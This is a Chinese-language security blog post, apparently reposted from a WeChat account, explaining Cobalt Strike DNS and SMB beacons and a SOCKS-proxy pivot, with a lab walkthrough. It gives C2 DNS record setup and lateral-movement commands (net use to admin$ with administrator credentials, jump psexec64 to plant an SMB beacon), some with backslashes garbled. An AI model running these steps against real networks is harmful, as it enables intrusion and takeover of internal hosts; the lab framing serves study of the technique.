dns与smb beacon详解与一种内网穿透方法的实践

  • A+
所属分类:安全文章

‍‍

dns beacon


创建listener

假设我的二级域名为 test.com。

设置域名的A记录例如 bk.test.com,值为自己的公网ip。
再设置几个ns记录,例如game.test.com,ns记录的值写成bk.test.com。
dns与smb beacon详解与一种内网穿透方法的实践

dns host(stager)设置vps的a记录的域名
在dns hosts 设置ns记录。
dns与smb beacon详解与一种内网穿透方法的实践

原理

木马运行后受害者主机会查询我们指定的DNS Host中的域名的A记录,但是这个域名它的NS记录是我们的C2,所以按照DNS解析的原理,受害者主机会向我们的C2发送DNS查询的请求,这时候我们C2就会利用dns-txt这种通道与受害者主机进行通信来向受害主机传达命令以达到控制效果。
这种隧道是被加密的,且CS4.0之后只有dns-txt通道,之前的http通道因为保密性太差被舍弃。


smb beacon

使用条件
1.具有 SMB Beacon 的主机必须接受 445 端口上的连接。
2.只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
3.利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。


创建listener

dns与smb beacon详解与一种内网穿透方法的实践
管道名字可以自定义


原理

smb beacon生成的木马跟其他木马不同,倘若直接放在受害者主机上作为第一个木马去运行,那么受害者主机一定是无法上线的。它要在一种特殊的情况下使用,且十分重要。

假设有三个主机 a b c,我们的C2是a且我们已经有了b的权限,b可以访问c,c也可以访问b但不能访问a。
dns与smb beacon详解与一种内网穿透方法的实践

这时候我们就可以使用smb beacon 然主机C上线。(前提是有主机C的账号密码)


实验

teamserver:192.168.124.135
主机red:192.168.124.111 192.168.23.23
主机blue:192.168.23.99
我们已经有了red的权限。
dns与smb beacon详解与一种内网穿透方法的实践

我们可以访问red,但是不能访问blue,可是red可以访问blue,这里可以弄一个smb beacon,当然也可以使用socket代理等。这里我们先说smb beacom。

先创建一个payload为smb beacon的linstener。
dns与smb beacon详解与一种内网穿透方法的实践

假设我们已经通过某种方法得到了blue的账号密码,例如得到了域控的账号密码。这时候我们使用smb beacon进行横移。

我们已经有了与red主机交互的beacon,所以首先扫描其他内网主机有没有开445端口。
dns与smb beacon详解与一种内网穿透方法的实践

然后在beacon中输入以下命令:
dns与smb beacon详解与一种内网穿透方法的实践

dns与smb beacon详解与一种内网穿透方法的实践

dns与smb beacon详解与一种内网穿透方法的实践

第一条是创建链接,第二条是确定连接创建成功,第三条是创建 smb beacon。
dns与smb beacon详解与一种内网穿透方法的实践

成功上线。

附录:在beacon里输入命令
shell net use \192.168.23.99admin$ /user:"administrator" "123"#建立连接
ls \192.168.23.99c$#看是否连接成功
jump psexec64 192.168.23.99 smb# 建立smb beacon连接,最后的smb是我的smb listener 的名字。
net use \IP地址admin$ /delete#删除链接

在Windows非标准用户下使用 net use 时会发生系统错误1312,如下图所示:解决方法是在用户名前面加上“任意字符串”,比如:net use 192.168.3.46ipc$ /user:whateveradministrator password


内网穿透的一种方式

这里顺便再说一种内网穿透的方式,也就是socket代理。操作方法大概就是先以我们已有的beacon创建socket代理,然后创建一个stage在目标系统上运行,即可达到上线。

第一步:以已有的beacon为代理生成listener
dns与smb beacon详解与一种内网穿透方法的实践

第二步:生成无状态stage木马
dns与smb beacon详解与一种内网穿透方法的实践

第三步:在目标主机上运行且上线成功
dns与smb beacon详解与一种内网穿透方法的实践
下篇文章会说一下foreign beacon与CS跟msf之间的回话派发。


其他

net use \192.168.3.46C$ /user:whateveradministrator password

上面这条命令中将C换成admin换成admin有什么区别呢?

C只是共享了C盘,admin只是共享了C盘,admin可以理解为共享了主机的控制权。


原创作者:Shanfenglan7


作者介绍:一个刚步入安全行业的人,乐意分享技术,乐意接受批评,乐意交流。希望自己能把抽象的技术用尽量具体的语言讲出来,让每个人都能看懂,并觉得简单。最后希望大家可以关注我的博客:shanfenglan.blog.csdn.net


扫描关注乌云安全

dns与smb beacon详解与一种内网穿透方法的实践


觉得不错点个“赞”、“在看”哦dns与smb beacon详解与一种内网穿透方法的实践

‍‍

本文始发于微信公众号(乌雲安全):dns与smb beacon详解与一种内网穿透方法的实践

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: